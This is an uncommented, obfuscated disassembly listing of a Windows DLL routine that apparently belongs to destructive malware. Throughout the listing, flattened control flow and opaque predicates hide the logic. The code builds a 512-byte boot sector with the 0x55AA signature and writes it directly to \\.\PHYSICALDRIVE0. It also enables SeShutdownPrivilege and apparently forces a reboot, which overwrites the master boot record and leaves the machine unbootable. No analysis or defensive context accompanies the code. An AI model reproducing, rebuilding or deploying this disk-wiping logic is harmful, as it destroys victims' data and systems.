mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x619523a7
mov ecx, 0x69da16d5
jmp 0x10039ffe
cmp eax, 0x1a9340d0
je 0x10039ab6
cmp eax, 0x1c75c050
jne 0x100374f7
push 0
push 6
call edi
mov eax, 0x9be384b
jmp 0x100374f7
cmp eax, 0xe5e17cb1
je 0x10039ad3
cmp eax, 0xe74ecd92
jne 0x100374f7
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push dword [ebp - 0x1c]
push 0x28
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov eax, dword [ebp - 0x14]
mov eax, 0x46a096df
jmp 0x100374f7
cmp eax, 0x39b4913
je 0x10039add
cmp eax, 0x45a8dca
jne 0x100374f7
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xc886bfe5
mov ecx, 0xd6702de1
jmp 0x10039ffe
cmp eax, 0x547b058c
je 0x10039afa
cmp eax, 0x54c1e99e
jne 0x100374f7
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x1c75c050
mov ecx, 0x9be384b
jmp 0x10039ffe
cmp eax, 0x99651752
je 0x10039b17
cmp eax, 0x999bba53
jne 0x100374f7
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xd6422ddb
mov ecx, 0x1a9340d0
jmp 0x10039ffe
cmp eax, 0xd53dd018
je 0x10039b34
cmp eax, 0xd58501da
jne 0x100374f7
mov eax, 0xa914200a
jmp 0x100374f7
cmp eax, 0x7a3364a5
je 0x10039b57
cmp eax, 0x7b556d3e
jne 0x100374f7
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x8ca33c32
mov ecx, 0xca10d27c
jmp 0x10039ffe
cmp eax, 0xbbe4137c
je 0x10039bc5
cmp eax, 0xbca8da91
jne 0x100374f7
mov eax, 0xd9f95ffb
jmp 0x100374f7
cmp eax, 0x28c50db6
je 0x10039be2
cmp eax, 0x29de3426
jne 0x100374f7
mov eax, 0x6fd19545
jmp 0x100374f7
cmp eax, 0xdb1ca72a
je 0x10039bff
cmp eax, 0xdc12a87f
jne 0x100374f7
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xb462b6aa
mov ecx, 0x2d031c0
jmp 0x10039ffe
cmp eax, 0x104a83e6
je 0x10039c31
cmp eax, 0x10f23718
jne 0x100374f7
mov eax, 0x3f7dfa99
jmp 0x100374f7
cmp eax, 0x391976fc
je 0x10039c7a
cmp eax, 0x394e43cb
jne 0x100374f7
mov eax, 0x80be2175
jmp 0x100374f7
cmp eax, 0x891f8349
je 0x10039c97
cmp eax, 0x8a24fc79
jne 0x100374f7
mov eax, 0x30f48ac1
jmp 0x100374f7
cmp eax, 0xc6a32864
je 0x10039ca1
cmp eax, 0xc6be2188
jne 0x100374f7
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x4991ce1
mov ecx, 0x27c13bac
jmp 0x10039ffe
cmp eax, 0x6693997c
je 0x10039cab
cmp eax, 0x66958d59
jne 0x100374f7
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x194f20a5
mov ecx, 0x814e954f
jmp 0x10039ffe
cmp eax, 0xa2b74f9a
je 0x10039cb5
cmp eax, 0xa2dae34b
jne 0x100374f7
mov eax, 0xddbaa7ee
jmp 0x100374f7
cmp eax, 0x1260f09e
je 0x10039cd2
cmp eax, 0x13381d30
jne 0x100374f7
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xdd4a67ae
mov ecx, 0x77248195
jmp 0x10039ffe
cmp eax, 0xf1502189
je 0x10039cef
cmp eax, 0xf1c0b9ae
jne 0x100374f7
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xfbff9f82
mov ecx, 0x30ea9f12
jmp 0x10039ffe
cmp eax, 0xff3073b3
je 0x10039d0c
cmp eax, 0xff8b9c00
jne 0x100374f7
mov eax, 0xef67d0c0
jmp 0x100374f7
cmp eax, 0x4e1dade3
je 0x10039d29
cmp eax, 0x4f0d269f
jne 0x100374f7
mov eax, 0xe4876946
jmp 0x100374f7
cmp eax, 0x9662dafe
je 0x10039d88
cmp eax, 0x9742a111
jne 0x100374f7
cmp byte [ebp - 0x30], 0
mov eax, 0xdc12a87f
mov ecx, 0x943df483
cmovne eax, ecx
jmp 0x100374f7
cmp eax, 0xd2c8ca12
je 0x10039da5
cmp eax, 0xd2d6781d
jne 0x100374f7
mov eax, 0x34fb5047
jmp 0x100374f7
cmp eax, 0x76103fe2
je 0x10039daf
cmp eax, 0x77248195
jne 0x100374f7
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x9605c70c
mov ecx, 0xe725917
jmp 0x10039ffe
cmp eax, 0xb3649228
je 0x10039dcc
cmp eax, 0xb462b6aa
jne 0x100374f7
mov eax, 0x2d031c0
jmp 0x100374f7
cmp eax, 0x23ba9c1d
je 0x10039e50
cmp eax, 0x245a6ff8
jne 0x100374f7
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xf50cb1dc
mov ecx, 0xce7390b
jmp 0x10039ffe
cmp eax, 0xe136e2e5
je 0x10039e6d
cmp eax, 0xe2270047
jne 0x100374f7
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x594980d0
mov ecx, 0x9742a111
jmp 0x10039ffe
cmp eax, 0x8e66819
je 0x10039e77
cmp eax, 0x9be384b
jne 0x100374f7
push 0
push 6
call edi
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x1c75c050
mov ecx, 0xf6eef878
jmp 0x10039ffe
cmp eax, 0x3f7dfa99
je 0x10039e81
cmp eax, 0x3fee52f5
jne 0x100374f7
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xd8dcaa27
mov ecx, 0x13fe186e
jmp 0x10039ffe
cmp eax, 0x8e0e5a53
je 0x10039e9e
cmp eax, 0x8e6370a2
jne 0x100374f7
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xcbce9fce
mov ecx, 0x8bc35e2c
jmp 0x10039ffe
cmp eax, 0xcce11cde
je 0x10039ebb
cmp eax, 0xcd9e345a
jne 0x100374f7
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xe5c4594f
mov ecx, 0x860b8160
jmp 0x10039ffe
cmp eax, 0x6eb3a9de
je 0x10039edb
cmp eax, 0x6fd19545
jne 0x100374f7
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x29de3426
mov ecx, 0xedfa9fec
jmp 0x10039ffe
cmp eax, 0xad3e4445
je 0x10039ef8
cmp eax, 0xad78f5f5
jne 0x100374f7
mov eax, 0x63b1745
jmp 0x100374f7
cmp eax, 0x1e3d4460
je 0x10039f15
cmp eax, 0x1e8509fc
jne 0x100374f7
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xfbff9f82
mov ecx, 0xf1c0b9ae
jmp 0x10039ffe
cmp eax, 0xedfa9fec
je 0x10039f1f
cmp eax, 0xef1ece1c
jne 0x100374f7
mov eax, 0x874ff2c3
jmp 0x100374f7
cmp eax, 0x623221b
je 0x10039f29
cmp eax, 0x63b1745
jne 0x100374f7
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xe74ecd92
mov ecx, 0x46a096df
jmp 0x10039ffe
cmp eax, 0x594980d0
je 0x10039f49
cmp eax, 0x5997dda5
jne 0x100374f7
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xa7e1a842
mov ecx, 0xc6f555f7
jmp 0x10039ffe
cmp eax, 0x9c6b1434
je 0x10039f53
cmp eax, 0x9d966937
jne 0x100374f7
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xe136e2e5
mov ecx, 0x391976fc
jmp 0x10039ffe
cmp eax, 0xd64fad22
je 0x10039fc2
cmp eax, 0xd6702de1
jne 0x100374f7
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xfaa49a3d
mov ecx, 0xc6be2188
jmp 0x10039ffe
cmp eax, 0x7fcb7c10
je 0x10039fdc
cmp eax, 0x7fbb5060
jne 0x100374f7
mov cl, byte [ebp - 0x2d]
cmp byte [ebp - 0x2e], 0
mov eax, 0xcbce9fce
mov edx, 0x8e6370a2
cmovne eax, edx
test cl, cl
cmovne eax, edx
jmp 0x100374f7
cmp eax, 0xc07a44b6
je 0x10039fe6
cmp eax, 0xc0c5a124
jne 0x100374f7
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x7fcb7c10
mov ecx, 0x4da70d94
jmp 0x10039ffe
mov eax, 0xc0c5a124
jmp 0x100374f7
cmp eax, 0x2eaeeebc
jne 0x1003a010
mov eax, 0xb66d8b0a
jmp 0x100374f7
cmp eax, 0xd887079e
jne 0x1003a036
mov eax, 0x746a1b2c
jmp 0x100374f7
cmp eax, 0xe725917
jne 0x1003a043
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xd887079e
mov ecx, 0x746a1b2c
jmp 0x10039ffe
push eax
sub esp, 0x1fc
mov eax, esp
mov dword [ebp - 0x20], eax
sub esp, 0x14
mov eax, esp
mov dword [ebp - 0x28], eax
push eax
mov eax, esp
mov dword [ebp - 0x1c], eax
sub esp, 0x10
mov eax, esp
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x48]
mov eax, 0x200
push eax
push 0
push dword [ebp - 0x48]
call fcn.1014ca80
add esp, 0xc
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x2c], eax
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xaee87f33
mov ecx, 0xcd9e345a
jmp 0x10039ffe
mov eax, 0x8cfb74d6
jmp 0x100374f7
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x9797d92e
mov ecx, 0x23a885cf
jmp 0x10039ffe
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x4c3fd525
mov ecx, 0x6eb3a9de
jmp 0x10039ffe
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x3d91453b
mov ecx, 0xa796e37d
jmp 0x10039ffe
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xff8b9c00
mov ecx, 0xef67d0c0
jmp 0x10039ffe
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x336629d8
mov ecx, 0x63b1745
jmp 0x10039ffe
mov eax, 0xc9983f40
jmp 0x100374f7
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x673189c2
mov ecx, 0xd64fad22
jmp 0x10039ffe
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x3e1cfb59
mov ecx, 0x95f28d9a
jmp 0x10039ffe
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xf7dcc72e
mov ecx, 0x5dbebe8
jmp 0x10039ffe
mov eax, 0x3fee52f5
jmp 0x100374f7
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xc3e32d5a
mov ecx, 0x23ba9c1d
jmp 0x10039ffe
mov eax, 0x154c0470
jmp 0x100374f7
mov eax, 0x564b4b09
jmp 0x100374f7
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x7b556d3e
mov ecx, 0x1e9525f8
jmp 0x10039ffe
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xae3c0282
mov ecx, 0xddf24620
jmp 0x10039ffe
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x4bbb8c7f
mov ecx, 0x3c0c546b
jmp 0x10039ffe
mov eax, 0x814e954f
jmp 0x100374f7
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x4f0d269f
mov ecx, 0xa16e79e1
jmp 0x10039ffe
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x673189c2
mov ecx, 0x32c0ff37
jmp 0x10039ffe
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xcbd5bba
mov ecx, 0x1006d0cd
jmp 0x10039ffe
mov eax, 0x23a885cf
jmp 0x100374f7
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x1d07f5dd
mov ecx, 0x4833ae58
jmp 0x10039ffe
mov eax, dword [ebp - 0x40]
mov eax, 0xa0687a22
jmp 0x100374f7
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x2eaeeebc
mov ecx, 0x112ca25a
jmp 0x10039ffe
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xc07a44b6
mov ecx, 0x21ad86cb
jmp 0x10039ffe
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xbca8da91
mov ecx, 0x973a67f6
jmp 0x10039ffe
mov eax, 0x790d65f7
jmp 0x100374f7
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x730511fb
mov ecx, 0x8c0454d8
jmp 0x10039ffe
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x9fc33168
mov ecx, 0x994d9ef9
jmp 0x10039ffe
mov eax, 0xd64fad22
jmp 0x100374f7
push ebx
push dword [ebp - 0x24]
push 0x200
push dword [ebp - 0x2c]
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x10]
sub esp, 0x20
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x18], eax
mov dword [esp + 0x14], ebx
movaps xmm0, xmmword [0x1017f120]
movups xmmword [esp + 4], xmm0
mov dword [esp], ecx
call esi
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x40], eax
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xedabdd42
mov ecx, 0xd3ade8de
jmp 0x10039ffe
mov eax, 0x69da16d5
jmp 0x100374f7
mov eax, 0x567ec649
jmp 0x100374f7
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xff8b9c00
mov ecx, 0x1a41ddd7
jmp 0x10039ffe
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x38421958
mov ecx, 0x1e3d4460
jmp 0x10039ffe
mov eax, 0x6eb3a9de
jmp 0x100374f7
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xa2b74f9a
mov ecx, 0x8e05348
jmp 0x10039ffe
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xd9567322
mov ecx, 0x54c1e99e
jmp 0x10039ffe
mov eax, 0x3d1dc5d7
jmp 0x100374f7
mov eax, 0x99651752
jmp 0x100374f7
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x336629d8
mov ecx, 0x14a400d7
jmp 0x10039ffe
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x18]
mov eax, 0xd53dd018
jmp 0x100374f7
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xc326068e
mov ecx, 0xc10059f
jmp 0x10039ffe
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xd2c8ca12
mov ecx, 0x6693997c
jmp 0x10039ffe
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x14]
mov eax, 0xca10d27c
jmp 0x100374f7
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x14]
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x8ca33c32
mov ecx, 0x10f23718
jmp 0x10039ffe
mov eax, 0xf42e5ec5
jmp 0x100374f7
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x14]
mov eax, 0x5997dda5
jmp 0x100374f7
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x245a6ff8
mov ecx, 0xfea9c494
jmp 0x10039ffe
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x1d07f5dd
mov ecx, 0x564b4b09
jmp 0x10039ffe
mov eax, 0x27c13bac
jmp 0x100374f7
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xedabdd42
mov ecx, 0x6503d134
jmp 0x10039ffe
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x10]
sub esp, 0x20
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x18], eax
mov dword [esp + 0x14], ebx
movaps xmm0, xmmword [0x1017f130]
movups xmmword [esp + 4], xmm0
mov dword [esp], ecx
call esi
mov eax, 0xe0046556
jmp 0x100374f7
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x2eaeeebc
mov ecx, 0xb66d8b0a
jmp 0x10039ffe
cmp byte [ebp - 0x2f], 0
mov eax, 0x8c1fefd3
mov ecx, 0xcce11cde
cmovne eax, ecx
jmp 0x100374f7
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x75964759
mov ecx, 0xed057c4d
jmp 0x10039ffe
mov eax, 0xf1502189
jmp 0x100374f7
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x74d92314
mov ecx, 0x9eff6a05
jmp 0x10039ffe
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x10]
sub esp, 0x20
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x18], eax
mov dword [esp + 0x14], ebx
movaps xmm0, xmmword [0x1017f130]
movups xmmword [esp + 4], xmm0
mov dword [esp], ecx
call esi
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xc326068e
mov ecx, 0xb1265669
jmp 0x10039ffe
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xb1993dee
mov ecx, 0x60201a52
jmp 0x10039ffe
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x594980d0
mov ecx, 0xe2270047
jmp 0x10039ffe
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xdd4a67ae
mov ecx, 0x13381d30
jmp 0x10039ffe
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x194f20a5
mov ecx, 0x83bb354
jmp 0x10039ffe
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x10]
sub esp, 0x20
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x18], eax
mov dword [esp + 0x14], ebx
movaps xmm0, xmmword [0x1017f130]
movups xmmword [esp + 4], xmm0
mov dword [esp], ecx
call esi
mov eax, 0xc10059f
jmp 0x100374f7
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xc07a44b6
mov ecx, 0x30f48ac1
jmp 0x10039ffe
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xf0db81ac
mov ecx, 0x7a3364a5
jmp 0x10039ffe
cmp dword [ebp - 0x40], 0
setns byte [ebp - 0x30]
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x784429eb
mov ecx, 0x783037
jmp 0x10039ffe
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xc886bfe5
mov ecx, 0x45a8dca
jmp 0x10039ffe
mov eax, 0x5dbebe8
jmp 0x100374f7
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x29de3426
mov ecx, 0x6fd19545
jmp 0x10039ffe
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xa2dae34b
mov ecx, 0xddbaa7ee
jmp 0x10039ffe
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xcbd5bba
mov ecx, 0x534e4ccf
jmp 0x10039ffe
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x3d91453b
mov ecx, 0xfa5523f8
jmp 0x10039ffe
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xd887079e
mov ecx, 0xa680917b
jmp 0x10039ffe
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x18]
mov eax, 0x59e631c5
jmp 0x100374f7
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xe5c4594f
mov ecx, 0xbbe4137c
jmp 0x10039ffe
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xa2dae34b
mov ecx, 0x2b3e54ad
jmp 0x10039ffe
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xfaa49a3d
mov ecx, 0xfa973bfd
jmp 0x10039ffe
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x7500ebac
mov ecx, 0x6be8598d
jmp 0x10039ffe
push eax
mov eax, esp
mov dword [ebp - 0x24], eax
push eax
mov eax, esp
mov dword [ebp - 0x18], eax
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x730511fb
mov ecx, 0xc79d0f48
jmp 0x10039ffe
mov eax, 0x45a8dca
jmp 0x100374f7
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x67e5d51e
mov ecx, 0xb3649228
jmp 0x10039ffe
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xa2b74f9a
mov ecx, 0x8cfb74d6
jmp 0x10039ffe
mov eax, 0xbbe4137c
jmp 0x100374f7
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x9b065420
mov ecx, 0x1260f09e
jmp 0x10039ffe
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x774c3a9
mov ecx, 0x62bbbda6
jmp 0x10039ffe
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x9a725ae3
mov ecx, 0xe0046556
jmp 0x10039ffe
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x18]
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xdfb965a4
mov ecx, 0xe5e17cb1
jmp 0x10039ffe
mov eax, dword [ebp - 0x2c]
mov byte [eax], 0
mov eax, dword [ebp - 0x20]
mov byte [eax + 0x1fe], 0x55
mov eax, dword [ebp - 0x20]
mov byte [eax + 0x1ff], 0xaa
mov eax, dword [ebp - 0x28]
movups xmm0, xmmword [str..PHYSICALDRIVE0]
movups xmmword [eax], xmm0
mov dword [eax + 0xf], 0x304556
mov eax, dword [ebp - 0x28]
sub esp, 0x1c
mov dword [esp + 0x18], ebx
mov dword [esp + 0x14], ebx
movaps xmm0, xmmword [0x1017f140]
movups xmmword [esp + 4], xmm0
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xf0db81ac
mov ecx, 0xa1d7213b
jmp 0x10039ffe
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xaee87f33
mov ecx, 0x59e631c5
jmp 0x10039ffe
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x8cb104d
mov ecx, 0x99651752
jmp 0x10039ffe
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push dword [ebp - 0x1c]
push 0x28
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov eax, dword [ebp - 0x14]
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xa295b070
mov ecx, 0xad78f5f5
jmp 0x10039ffe
push dword [ebp - 0x44]
push str.SeShutdownPrivilege
push ebx
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
mov eax, dword [ebp - 0x14]
mov dword [eax], 1
mov eax, dword [ebp - 0x3c]
mov dword [eax + 8], 2
mov eax, dword [ebp - 0x1c]
push ebx
push ebx
push ebx
push dword [ebp - 0x14]
push ebx
push dword [eax]
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
push ebx
push 6
call edi
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x34]
mov eax, 0x7d27c122
jmp 0x100374f7
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xe136e2e5
mov ecx, 0x891f8349
jmp 0x10039ffe
mov eax, 0x8516c2d4
jmp 0x100374f7
mov eax, 0x3c7fec4f
jmp 0x100374f7
mov eax, 0x623221b
jmp 0x100374f7
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x74d92314
mov ecx, 0xd90b592a
jmp 0x10039ffe
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x9b065420
mov ecx, 0x8e66819
jmp 0x10039ffe
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xcfa7bdcb
mov ecx, 0x1ea953af
jmp 0x10039ffe
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x619523a7
mov ecx, 0xba07f0fe
jmp 0x10039ffe
push ebx
push dword [ebp - 0x24]
push 0x200
push dword [ebp - 0x2c]
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x10]
sub esp, 0x20
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x18], eax
mov dword [esp + 0x14], ebx
movaps xmm0, xmmword [0x1017f120]
movups xmmword [esp + 4], xmm0
mov dword [esp], ecx
call esi
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov eax, 0x9c6b1434
jmp 0x100374f7
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x535426c6
mov ecx, 0xd4b9c603
jmp 0x10039ffe
